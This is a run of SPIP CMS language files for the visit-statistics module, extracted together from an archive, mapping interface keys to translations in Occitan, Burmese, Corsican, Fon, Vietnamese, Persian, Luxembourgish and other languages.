'info_forum_statistiques' => 'Estadisticas de las vesitas',
'info_popularite_2' => 'popularitat dau sit:',
'info_popularite_3' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_5' => 'popularitat:',
'info_visites' => 'vesitas:',
'info_visites_plus_populaires' => 'Afichar las vesitas <b>per los articles mai populars</b> e <b>per los darrèirs articles publicats:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gerir las estadisticas', # MODIF
// O
'onglet_origine_visites' => 'Origina de las vesitas',
'onglet_repartition_debut' => 'dempuèi l’emprimèir',
'onglet_repartition_lang' => 'Reparticion per lengas',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Lo reng de l’article,
dins lo classament per popularitat, z-es indicat dins lo marge; la popularitat de l’article
(una estimacion dau nombre de vesitas quotidianas que z-elh recebrá se lo ritme actuau de consultacion se manten) e lo nombre de vesitas recebudas
dempuèi lo començament s’afichan dins la botiarla
qu’apareis quand la rata passa sus lo títol.',
'texte_signification' => 'Las barras escuras representan las entradas cumuladas (totau de las sosrubricas), las barras claras lo nombre de vesitas per chasca rubrica.',
'titre_evolution_visite' => 'Evolucion de las vesitas',
'titre_liens_entrants' => 'Liams entrants ',
'titre_page_statistiques' => 'Estadisticas per rubricas',
'titre_page_statistiques_visites' => 'Estadisticas de las vesitas'
);
?>
statistiques_my.php 0000666 00000010276 15252540432 0010540 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=my
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'ဝင်ရောက်ကြည့်ရှုမှုအဆင့်<br />@visites@',
'icone_repartition_actuelle' => 'လက်ရှိထုတ်ဝေမှုကို ထုတ်ပြပါ',
'icone_repartition_visites' => 'ထုတ်ဝေမှု အခြေပြဇယားများ',
'icone_statistiques_visites' => 'အခြေပြဇယား',
'info_affichier_visites_articles_plus_visites' => '<b>ကနဦးမှစ၍ ဆောင်းပါးအများဆုံး ဝင်ရောက်ကြည့်ရှုသူများကို ပြပါ ',
'info_comment_lire_tableau' => 'ဂရပ်ဖစ်ဖတ်ရန်နည်းလမ်း',
'info_forum_statistiques' => 'ဝက်ဆိုက်တွင် ဝင်ရောက်လည်ပတ်သူများစာရင်း',
'info_popularite_2' => 'ဝက်ဘ်ဆိုက်ထင်ပေါ်ကျော်ကြားမှု',
'info_popularite_3' => 'ထင်ပေါ်ကျော်ကြားမှု - @popularite@; ဝင်ရောက်လည်ပတ်သူများ @visites@',
'info_popularite_5' => 'ထင်ပေါ်ကျော်ကြားမှု',
'info_visites' => 'လာလည်သူများ',
'info_visites_plus_populaires' => '<b>အကျော်ကြားဆုံး ဆောင်းပါးများ</b> နှင့် <b>နောက်ဆုံးထုတ်ဝေသော ဆောင်းပါးများ</b>အတွက် ဝင်ရောက်ကြည့်ရှုသူများကို ပြပါ',
'info_zoom' => 'အကြီးချဲ့ရန်',
'item_gerer_statistiques' => 'စာရင်းအင်းများကို စီမံခန့်ခွဲပါ', # MODIF
// O
'onglet_origine_visites' => 'အမှန်တကယ် လာလယ်သူ',
'onglet_repartition_debut' => 'အစကနဦးမှ',
'onglet_repartition_lang' => 'ဘာသာစကားအလိုက် ထုတ်ဝေခြင်း',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'ဆောင်းပါး၏ အဆင့်အတမ်း၊ ထင်ပေါ်ကြော်ကြားမှု အုပ်စုများကို ဖော်ပြထားသည်။ ဆောင်းပါး၏ထင်ပေါ်ကြော်ကြားမှု (နေ့စဉ်လာရောက် ဖတ်ရှုခံရမှု အရေအတွက်) နှင့် ကနဦးအစမှ လာရောက် လည်ပတ်သူများစာရင်း ဖော်ပြချက်များကို ဖော်ပြပါဇယားထဲရှိ ခေါင်းစဉ်ပေါ်တွင် mouseကို တင်ကြည့်ခြင်းအားဖြင့် တွေ့နိုင်သည်။',
'texte_signification' => 'ဘားအနက်သည် တိုးပွါးသည့် ထည့်သွင်းမှုကို ကိုယ်စားပြုသည် (အပိုင်းခွဲစုစုပေါင်း), လင်းသောဘားများသည် အပိုင်းလိုက် ဝင်ရောက်ကြည့်ရှုသူများအရေတွက်ကို ကိုယ်စားပြုသည်',
'titre_evolution_visite' => 'ဝက်ဘ်ဆိုက်သို့ ဝင်ရောက်ကြည့်ရှုမှုအဆင့်',
'titre_liens_entrants' => 'ဆက်သွယ်မှု အဝင်',
'titre_page_statistiques' => 'အခန်းကဏ္ဍအလိုက်စာရင်းများ',
'titre_page_statistiques_visites' => 'ဝက်ဘ်ဆိုက်သို့ ဝင်ရောက်ကြည့်ရှုသူများစာရင်း'
);
?>
statistiques_oc_gsc.php 0000666 00000004355 15252540432 0011351 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_gsc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Evolucion de las vesitas<br />@visites@ vesitas',
'icone_repartition_actuelle' => 'Afichar la reparticion actuau',
'icone_repartition_visites' => 'Reparticion de las vesitas',
'icone_statistiques_visites' => 'Estadisticas',
'info_affichier_visites_articles_plus_visites' => 'Afichar las vesitas entaus <b>articles mei vesitats dempuish lo començament:</b>',
'info_comment_lire_tableau' => 'Quin legir aqueth tablèu',
'info_forum_statistiques' => 'Estadisticas de las vesitas',
'info_popularite_2' => 'popularitat deu sit:',
'info_popularite_3' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_5' => 'popularitat:',
'info_visites' => 'vesitas:',
'info_visites_plus_populaires' => 'Afichar las vesitas <b>taus articles mei populars</b> e <b>taus darrèrs articles publicats:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gerir las estadisticas', # MODIF
// O
'onglet_origine_visites' => 'Origina de las vesitas',
'onglet_repartition_debut' => 'dempuish la començança',
'onglet_repartition_lang' => 'Reparticion per lengas',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Lo reng de l’article,
dens lo classament per popularitat, qu’ei indicat dens lo marge; la popularitat de l’article
(ua estimacion deu nombre de vesitas quotidianas qu’eth receberà se lo ritme actuau de consultacion se mantien) e lo nombre de vesitas recebudas
dempuish lo començament que s’afichan dens la bohòrla
qu’apareish quan la murga e passa suu títol.',
'texte_signification' => 'Las barras escuras que representan las entradas cumuladas (totau de las sosrubricas), las barras claras lo nombre de vesitas tà cada rubrica.',
'titre_evolution_visite' => 'Evolucion de las vesitas',
'titre_liens_entrants' => 'Los ligams entrants',
'titre_page_statistiques' => 'Estadisticas per rubricas',
'titre_page_statistiques_visites' => 'Estadisticas de las vesitas'
);
?>
statistiques_fr_tu.php 0000666 00000005333 15252540432 0011230 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=fr_tu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Effacer les statistiques', # MODIF
// I
'icone_evolution_visites' => 'Évolution des visites<br />@visites@ visites',
'icone_repartition_actuelle' => 'Afficher la répartition actuelle',
'icone_repartition_visites' => 'Répartition des visites',
'icone_statistiques_visites' => 'Statistiques',
'info_affichier_visites_articles_plus_visites' => 'Afficher les visites pour <b>les articles les plus visités depuis le début :</b>',
'info_comment_lire_tableau' => 'Comment lire ce tableau',
'info_forum_statistiques' => 'Statistiques des visites',
'info_popularite_2' => 'popularité du site :',
'info_popularite_3' => 'popularité : @popularite@ ; visites : @visites@',
'info_popularite_5' => 'popularité :',
'info_question_vignettes_referer' => 'Lorsque tu consultes les statistiques, tu peux visualiser des aperçus des sites d’origine des visites',
'info_question_vignettes_referer_oui' => 'Afficher les captures des sites d’origine des visites',
'info_visites' => 'visites :',
'info_visites_plus_populaires' => 'Afficher les visites pour <b>les articles les plus populaires</b> et pour <b>les derniers articles publiés :</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gérer les statistiques', # MODIF
// O
'onglet_origine_visites' => 'Origine des visites',
'onglet_repartition_debut' => 'depuis le début',
'onglet_repartition_lang' => 'Répartition par langues',
// R
'resume' => 'Resume', # MODIF
// T
'texte_admin_effacer_stats' => 'Cette commande efface toutes les données liées aux statistiques de visite du site, y compris la popularité des articles.',
'texte_comment_lire_tableau' => 'Le rang de l’article, dans le classement par popularité, est indiqué dans la marge ; la popularité de l’article (une estimation du nombre de visites quotidiennes qu’il recevra si le rythme actuel de consultation se maintient) et le nombre de visites reçues depuis le début sont affichés dans la bulle qui apparaît lorsque la souris survole le titre.',
'texte_signification' => 'Les barres rouges représentent les entrées cumulées (total des sous-rubriques), les barres vertes le nombre de visites pour chaque rubrique.',
'titre_evolution_visite' => 'Évolution des visites',
'titre_liens_entrants' => 'Les liens entrants du jour',
'titre_page_statistiques' => 'Statistiques par rubriques',
'titre_page_statistiques_visites' => 'Statistiques des visites'
);
?>
statistiques_oc_prv.php 0000666 00000004322 15252540432 0011376 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=oc_prv
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Evolucion dei vesitas<br />@visites@ vesitas',
'icone_repartition_actuelle' => 'Afichar la reparticion actuala',
'icone_repartition_visites' => 'Reparticion dei vesitas',
'icone_statistiques_visites' => 'Estadisticas',
'info_affichier_visites_articles_plus_visites' => 'Afichar lei vesitas per leis <b>articles mai vesitats dempuei lo començament:</b>',
'info_comment_lire_tableau' => 'Coma legir aqueu tablèu',
'info_forum_statistiques' => 'Estadisticas dei vesitas',
'info_popularite_2' => 'popularitat dau sit:',
'info_popularite_3' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_5' => 'popularitat:',
'info_visites' => 'vesitas:',
'info_visites_plus_populaires' => 'Afichar lei vesitas <b>per leis articles mai populars</b> e <b>per lei darriers articles publicats:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gerir leis estadisticas', # MODIF
// O
'onglet_origine_visites' => 'Origina de las vesitas',
'onglet_repartition_debut' => 'dempuei la començança',
'onglet_repartition_lang' => 'Reparticion per lengas',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Lo reng de l’article,
dins lo classament per popularitat, es indicat dins lo marge; la popularitat de l’article
(una estimacion dau nombre de vesitas quotidianas qu’eu recebrà se lo ritme actuau de consultacion se manten) e lo nombre de vesitas recebudas
dempuei lo començament s’afichan dins la bofiga
qu’apareis quora la rata passa sus lo títol.',
'texte_signification' => 'Lei barras escuras representan leis intradas cumuladas (totau dei sosrubricas), lei barras claras lo nombre de vesitas per cada rubrica.',
'titre_evolution_visite' => 'Evolucion dei vesitas',
'titre_liens_entrants' => 'Lei liames intrants',
'titre_page_statistiques' => 'Estadisticas per rubricas',
'titre_page_statistiques_visites' => 'Estadisticas dei vesitas'
);
?>
statistiques_co.php 0000666 00000005332 15252540432 0010511 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=co
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Sguassà e statìstiche', # MODIF
// I
'icone_evolution_visites' => 'Evuluzione di e vìsite<br />@visites@ vìsite',
'icone_repartition_actuelle' => 'Vede u spartimentu attuale',
'icone_repartition_visites' => 'Spartimentu di e vìsite',
'icone_statistiques_visites' => 'Statìstiche',
'info_affichier_visites_articles_plus_visites' => 'Vede e vìsite per <b>l’artìculu i più letti dipoi u principiu di u situ :</b>',
'info_comment_lire_tableau' => 'Cumu leghje stu tavulone ?',
'info_forum_statistiques' => 'Statìstiche di e vìsite',
'info_popularite_2' => 'pupularità di u situ : ',
'info_popularite_3' => 'pupularità : @popularite@ ; vìsite : @visites@',
'info_popularite_5' => 'pupularità :',
'info_question_vignettes_referer' => 'Cunsultendu e statìstiche, pudete puru vede in antìcipu siti d’orìgine di e vìsite',
'info_question_vignettes_referer_oui' => 'Vede a cattura di screnu di i siti d’orìgine di e vìsite',
'info_visites' => 'vìsite :',
'info_visites_plus_populaires' => 'Vede e vìsite per <b>l’artìculi i più pupulari</b> è per <b>l’ùltimi artìculi pubblicati :</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gestisce e statìstiche', # MODIF
// O
'onglet_origine_visites' => 'Urìgine di e vìsite',
'onglet_repartition_debut' => 'da u principiu',
'onglet_repartition_lang' => 'Scumpartimentu per lingue',
// R
'resume' => 'Resume', # MODIF
// T
'texte_admin_effacer_stats' => 'Sta cumanda sguassa tutti i dati leati à e statìstiche di vìsite di u situ, cumpresa a pupularità di l’artìculi.',
'texte_comment_lire_tableau' => 'U rangu di l’artìculu in a classìfica pè pupularità hè indettatu quì sopra. A pupularità di l’artìculu (stimata da u nùmeru di vìsite cutidianu ch’ellu riceverà l’artìculu s’ellu ferma uguale u rìtimu attuale di cunsultazione) è u nùmeru di vìsite ricevute dipoi u principiu sò da vede in a scatuletta chì s’apre quandu omu passa u topu sopr’à u tìtulu.',
'texte_signification' => 'L’aste più scure riprisentanu l’entrate cumulate (per u tutale di e sotturùbbriche), l’aste più chjare u nùmeru di vìsite
per ogni rùbbrica.',
'titre_evolution_visite' => 'Evuluzione di e vìsite',
'titre_liens_entrants' => 'Lee versu u situ',
'titre_page_statistiques' => 'Statìstiche per rùbbrica',
'titre_page_statistiques_visites' => 'Statìstiche di vìsite'
);
?>
statistiques_fon.php 0000666 00000004314 15252540432 0010671 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=fon
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'kàndíɖrɛn jònɔbíbàmɛ tɔn ',
'icone_repartition_actuelle' => 'mi sɔ ɖìɖèmɛ lɛ xlɛ',
'icone_repartition_visites' => 'tìtòmɛ jónɔ bìbà tɔn lɛ',
'icone_statistiques_visites' => 'àkɔŋtá ',
'info_affichier_visites_articles_plus_visites' => 'mi xlɛ jònɔbíbà wěkpá é yé kò bɛ kpíkpɔn sìn bìbɛmɛ lɛ jí ',
'info_comment_lire_tableau' => 'Nɛ̌ ná xà àtɛ é lɔ gbɔn ',
'info_forum_statistiques' => 'jōnɔ bíbà sín akɔnŋtà',
'info_popularite_2' => 'mɛ bí tùn gblogblojí ɔ :',
'info_popularite_3' => 'Tòbítùn : @popularite@ ; Jōnɔ : @visites@',
'info_popularite_5' => 'Tòbítùn :',
'info_visites' => 'jónɔ bìbá:',
'info_visites_plus_populaires' => 'xlɛ jónɔ bìbá',
'info_zoom' => 'vlɔnvlɔn',
'item_gerer_statistiques' => 'Tò nyíkɔ lɛ', # MODIF
// O
'onglet_origine_visites' => 'Bìbɛ wɛn lɛ tɔn ',
'onglet_repartition_debut' => 'Sín bìbɛmɛ',
'onglet_repartition_lang' => 'Mi tò gbè lɛ',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'gblogblojí é lɔ nɔ zɔn bɔ mi nɔ sɛ wɛn ɖó bó nɔ lɛ yí wɛnxó kléwun lɛ wěmà kléwún ɖé lɛ wɛbɔ yé nɔ zɔn bɔ xó lɛ nɔ yí àtɛjí gànmɛgànmɛmi sɔ xóxòkplégbàví mi tɔn ', # MODIF
'texte_signification' => 'mi ná sɔ mɔ àlì gégéwékpá é lɔxógbè lɛ nyɔwlántɔ lɛ gblogblojí é lɔ nɔ zɔn bɔ mi nɔ sɛ wɛn ɖó bó nɔ lɛ yí wɛnxó kléwun lɛ wěmà kléwún ɖé lɛ wɛbɔ yé nɔ zɔn bɔ xó lɛ nɔ yí àtɛjí gànmɛgànmɛmi sɔ xóxòkplégbàví mi tɔn mɔnɔ hɛnmi cyían ɖê jɛ ɖéwú ɔ.',
'titre_evolution_visite' => 'núkɔn yíyí jónɔ yíyi tɔn',
'titre_liens_entrants' => 'càcàdó ná byɔmɛ',
'titre_page_statistiques' => 'àkɔŋtá àkpáxwé àkpáxwé',
'titre_page_statistiques_visites' => 'àkɔŋtá jónɔ lɛ tɔn'
);
?>
statistiques_vi.php 0000666 00000004434 15252540432 0010530 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=vi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// I
'icone_evolution_visites' => 'Thống kê<br />@visites@ độc giả',
'icone_repartition_actuelle' => 'Cho xem phân loại hiện nay',
'icone_repartition_visites' => 'Phân bố số thăm viếng',
'icone_statistiques_visites' => 'Thống kê',
'info_affichier_visites_articles_plus_visites' => 'Cho thấy số lần vào xem của <b>những bài được đọc nhiều nhất từ ban đầu:</b>',
'info_comment_lire_tableau' => 'Cách đọc đồ thị này',
'info_forum_statistiques' => 'Thống kê thăm viếng',
'info_popularite_2' => 'Mức phổ thông của website: ',
'info_popularite_3' => 'Mức phổ thông: @popularite@; lần viếng: @visites@',
'info_popularite_5' => ' phổ thông:',
'info_visites' => ' thăm viếng:',
'info_visites_plus_populaires' => 'Cho thấy số lần vào xem của <b>những bài được chuộng nhất</b> và của <b>những bài đăng tải sau cùng:</b>',
'info_zoom' => 'phóng lớn',
'item_gerer_statistiques' => 'Quản trị số thống kê', # MODIF
// O
'onglet_origine_visites' => 'Xuất xứ của thăm viếng',
'onglet_repartition_debut' => 'từ ban đầu',
'onglet_repartition_lang' => 'Phổ biến theo ngôn ngữ',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Bài vở được sắp hạng theo mức độ phổ thông (xem cột trái). Để xem mức độ phổ thông (ước lượng số lần vào xem hàng ngày theo đà hiện tại) và số lần vào xem của mỗi bài, bạn di chuyển con chuột lên trên tên bài.',
'texte_signification' => 'Thanh đậm biểu hiện tất cả số bài (tổng cộng của các đề mục phụ), thanh lợt biểu hiện số lần vào xem của mỗi đề mục. ',
'titre_evolution_visite' => 'Thống Kê',
'titre_liens_entrants' => 'Các điểm nối vào',
'titre_page_statistiques' => 'Thống kê theo từng đề mục',
'titre_page_statistiques_visites' => 'Thống kê về thăm viếng'
);
?>
statistiques_fa.php 0000666 00000007050 15252540432 0010475 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'حذف پيوندهاي ورودي فقط',
'bouton_effacer_statistiques' => 'پاك كردن تمام آمارها',
// C
'csv' => 'سي.اس.وي',
// I
'icone_evolution_visites' => 'نمودار بازديدها <br /> @visites@ بازديد ',
'icone_repartition_actuelle' => 'نمايش توزيع كنونى',
'icone_repartition_visites' => 'نمودار بازديدها',
'icone_statistiques_visites' => 'آمار بازديد كنندگان',
'info_affichier_visites_articles_plus_visites' => 'فهرست مقاله هائى كه بيش از ديگر مقاله ها خوانده شدن از ابتدا نشان دهيد',
'info_comment_lire_tableau' => 'طرز خواندن اين جدول',
'info_forum_statistiques' => 'آمار بازديد كنند گان',
'info_popularite_2' => ': محبوبيت سايت',
'info_popularite_3' => '@popularite@ : محبوبيت سايت @visites@ : بازديد',
'info_popularite_5' => ': محبوبيت',
'info_previsions' => 'پيشبينيها: ',
'info_question_vignettes_referer' => 'هنگام مراجعه به آمارها، ميتوانيد نشاني سايتهاي مبداء بازديدكنندگان را ببينيد.',
'info_question_vignettes_referer_oui' => 'گيراندازي سايتهاي مبداء بازديدكنندگان را نشان دادن',
'info_visites' => ':بازديد ',
'info_visites_plus_populaires' => 'نمودار بازديد محبوب ترين مقالات و آخرين مقالات منتشر شده را نمايش دهيد ',
'info_zoom' => 'زوم',
'item_gerer_statistiques' => 'مديريت آمارهاي بازديدها',
// O
'onglet_origine_visites' => 'مبدأ بازديدها',
'onglet_repartition_debut' => 'از زمان شروع',
'onglet_repartition_lang' => 'با زبانهاى',
// R
'resume' => 'خلاصه',
// T
'texte_admin_effacer_stats' => 'اين فرمان تمام دادههاي مرتبط با آمارهاي بازديدها از اين سايت و از جمله محبوبيت نسبي مقالات را پاك ميكند.',
'texte_admin_effacer_toutes_stats' => 'دكمهي اول تمام آمارها را حذف ميكند:بازديدها، محبويت مقالهها و پيوندهاي ورودي.',
'texte_comment_lire_tableau' => 'رتبه مقاله در رده بندى محبوبيتها در حاشيه صفحه مشخص شده كه نشانگر تعداد بازديدهاى روزانه مقاله ميباشد وتعداد بازديدها از ابتدا با قرار دادن نوك فلش برروى مقاله مشخص خواهد شد',
'texte_signification' => 'خطوط پر رنگ نمودار وروديها (مجموع زير بخشها) و خطوط روشن نشانگر تعداد بازديدكنندگان هر بخش ميباشد.',
'titre_evolution_visite' => 'تحول بازديدها',
'titre_liens_entrants' => 'پيوندهاى ورودى ',
'titre_page_statistiques' => 'آمار براى هر بخش',
'titre_page_statistiques_visites' => 'آمار بازديدها',
// V
'visites_journalieres' => 'تعداد بازديدها طي روز ',
'visites_mensuelles' => 'تعداد بازديدها طي ماه '
);
?>
statistiques_bs.php 0000666 00000004066 15252540432 0010517 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=bs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Effacer les statistiques', # MODIF
// I
'icone_evolution_visites' => 'Nivo posjeta <br />@visites@ posjete', # MODIF
'icone_repartition_actuelle' => 'Prikazi trenutnu distribuciju',
'icone_repartition_visites' => 'Distribucija posjeta',
'icone_statistiques_visites' => 'Statistike',
'info_affichier_visites_articles_plus_visites' => 'Prikazi posjete za <b>najposjecenije clanke od pocetka:</b>',
'info_comment_lire_tableau' => 'Kako citati ovu tabelu',
'info_forum_statistiques' => 'Statistike posjeta',
'info_popularite_2' => 'popularnosti stranice;:',
'info_popularite_3' => 'popularnosti: @popularite@ ; posjete: @visites@',
'info_popularite_5' => 'popularno:',
'info_visites' => 'posjete:',
'info_visites_plus_populaires' => 'Prikazi posjete <b>najpopularnijih clanaka</b> i <b>posljednjih objavljenih clanaka:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Uredi statistike', # MODIF
// O
'onglet_origine_visites' => 'Porijeklo posjete',
'onglet_repartition_debut' => 'od pocetka',
'onglet_repartition_lang' => 'Distribicija po jezicima',
// R
'resume' => 'Resume', # MODIF
// T
'texte_comment_lire_tableau' => 'Rang clanka po popularnosti je naznacen u margini; popularnost clanka (broj dnevnih posjeta, ako se ritam konsultacije odrzava) i broj primljenih posjeta u polju koje se pojavi kada misem predjete preko naslova.',
'texte_signification' => 'Tamne trake predstavljaju kulminativne zapise (ukupan broj podrubrika), svijetle trake predstavljaju ukupan broj posjeta za svaku rubriku.',
'titre_evolution_visite' => 'Napredovanje posjeta',
'titre_liens_entrants' => 'Unosenje linkova',
'titre_page_statistiques' => 'Statistike po rubrikama',
'titre_page_statistiques_visites' => 'Statistike posjeta'
);
?>
statistiques_lb.php 0000666 00000005652 15252540432 0010512 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=lb
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_referers' => 'Nëmmen d’Linken déi erakomme läschen',
'bouton_effacer_statistiques' => 'All d’Statistike läschen',
// C
'csv' => 'CSV',
// I
'icone_evolution_visites' => 'Entwécklung vun de Visiten<br />@visites@ Visiten',
'icone_repartition_actuelle' => 'Déi aktuell Verdeelung weisen',
'icone_repartition_visites' => 'Verdeelung vun de Visiten',
'icone_statistiques_visites' => 'Statistik',
'info_affichier_visites_articles_plus_visites' => 'D’Visite fir <b>déi am meeschte gefroten Artikelen zënter dem Ufank</b> weisen:',
'info_comment_lire_tableau' => 'Wéi een dës Tabell liese soll',
'info_forum_statistiques' => 'Statistik vun de Visiten',
'info_popularite_2' => 'Beléiftheet vum Site:',
'info_popularite_3' => 'Beléiftheet: @popularite@; Visiten: @visites@',
'info_popularite_5' => 'Beléiftheet:',
'info_previsions' => 'Prognos:',
'info_question_vignettes_referer' => 'Wann dir d’Statistik kuckt kënnt dir e Screenshot vun den Urspronks-Site gesinn',
'info_question_vignettes_referer_oui' => 'Screenshot vun den Urspronks-Site weisen',
'info_visites' => 'Visiten:',
'info_visites_plus_populaires' => 'Visite weisen fir <b>déi beléifsten</b> a fir <b>déi läscht verëffentlecht</b> Artikelen:',
'info_zoom' => 'Zoom',
'item_gerer_statistiques' => 'D’Statistik vun de Visite verwalten',
// O
'onglet_origine_visites' => 'Urspronk vun de Visiten',
'onglet_repartition_debut' => 'zënter dem Ufank',
'onglet_repartition_lang' => 'Verdeelung no Sprooch',
// R
'resume' => 'Zesummefaassung',
// T
'texte_admin_effacer_stats' => 'Dës Prozedur läscht d’Statistik an d’Beléiftheet vun den Artikele vum Site.',
'texte_admin_effacer_toutes_stats' => 'Den 1. Knäppche läscht all d’Statistiken: Visiten, Beléiftheet vun den Artikelen a Linken déi erakommen.',
'texte_comment_lire_tableau' => 'D’Plaz vum Artikel am Klassement no Beléiftheet steet am Rand; d’Beléiftheet vum Artikel (eng Prognos vun der Zuel vun de Visite pro Dag wann et esou weidergeet) an d’Zuel vun de Visite zënter Ufank stinn an der Erklärung déi erschéngt wann dir mat der Maus iwwer den Titel fuert.',
'texte_signification' => 'Déi kumuléiert Date sinn donkel (Total vun den Ënner-Rubriken), d’Zuel vun de Visite fir all Rubrik sinn hell.',
'titre_evolution_visite' => 'Entwécklung vun de Visiten',
'titre_liens_entrants' => 'Linken déi era komm sinn',
'titre_page_statistiques' => 'Statistik pro Rubrik',
'titre_page_statistiques_visites' => 'Statistik vun de Visiten',
// V
'visites_journalieres' => 'Zuel vun de Visite pro Dag',
'visites_mensuelles' => 'Zuel vun de Visite pro Mount'
);
?>
statistiques_it_fem.php 0000666 00000005356 15252540432 0011361 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/statistiques?lang_cible=it_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_effacer_statistiques' => 'Cancellare le statistiche', # MODIF
// I
'icone_evolution_visites' => 'Evoluzione delle visite<br />@visites@ visite',
'icone_repartition_actuelle' => 'Mostra la ripartizione attuale',
'icone_repartition_visites' => 'Distribuzione delle visite',
'icone_statistiques_visites' => 'Statistiche delle visite',
'info_affichier_visites_articles_plus_visites' => 'Mostra le visite per <b>gli articoli più letti dall’inaugurazione del sito:</b>',
'info_comment_lire_tableau' => 'Come leggere questa tabella',
'info_forum_statistiques' => 'Statistiche delle visite',
'info_popularite_2' => 'popolarità del sito: ',
'info_popularite_3' => 'popolarità: @popularite@; visite: @visites@',
'info_popularite_5' => 'popolarità:',
'info_question_vignettes_referer' => 'Quando si consultano le statistiche è possibile visualizzare delle anteprime dei siti di origine delle visite',
'info_question_vignettes_referer_oui' => 'Visualizzare le catture di schermo dei siti di origine delle visite',
'info_visites' => 'visite:',
'info_visites_plus_populaires' => 'Pubblica le visite per <b>gli articoli più popolari </b> e per <b>gli ultimi articoli pubblicati:</b>',
'info_zoom' => 'zoom',
'item_gerer_statistiques' => 'Gestisci le statistiche', # MODIF
// O
'onglet_origine_visites' => 'Origine delle visite',
'onglet_repartition_debut' => 'dall’inizio',
'onglet_repartition_lang' => 'Suddivisione per lingua',
// R
'resume' => 'Resume', # MODIF
// T
'texte_admin_effacer_stats' => 'Questo comando cancella tutti i dati collegati alle statistiche delle visite al sito, comprese la popolarità degli articoli.',
'texte_comment_lire_tableau' => 'Il posizionamento dell’articolo,
nella classifica per popolarità, è indicato qui
sopra. La popolarità dell’articolo (una stima del
numero di visite quotidiane che riceverà rimanendo costante il ritmo attuale di
consultazione) e il numero di visite ricevute dall’inizio,
sono visualizzati nel commento che appare
quando si passa con il mouse sopra al titolo.',
'texte_signification' => 'Le barre più scure rappresentano le entrate accumulate (per il totale delle sottorubriche), le barre più chiare il numero di visite per ogni rubrica.',
'titre_evolution_visite' => 'Evoluzione delle visite',
'titre_liens_entrants' => 'I link odierni al tuo sito',
'titre_page_statistiques' => 'Statistiche per rubrica',
'titre_page_statistiques_visites' => 'Statistiche delle visite'
);
?>
statistiques_ru.php 0000666 00000010162 15252540432 0010533 0 ustar 00 <?php
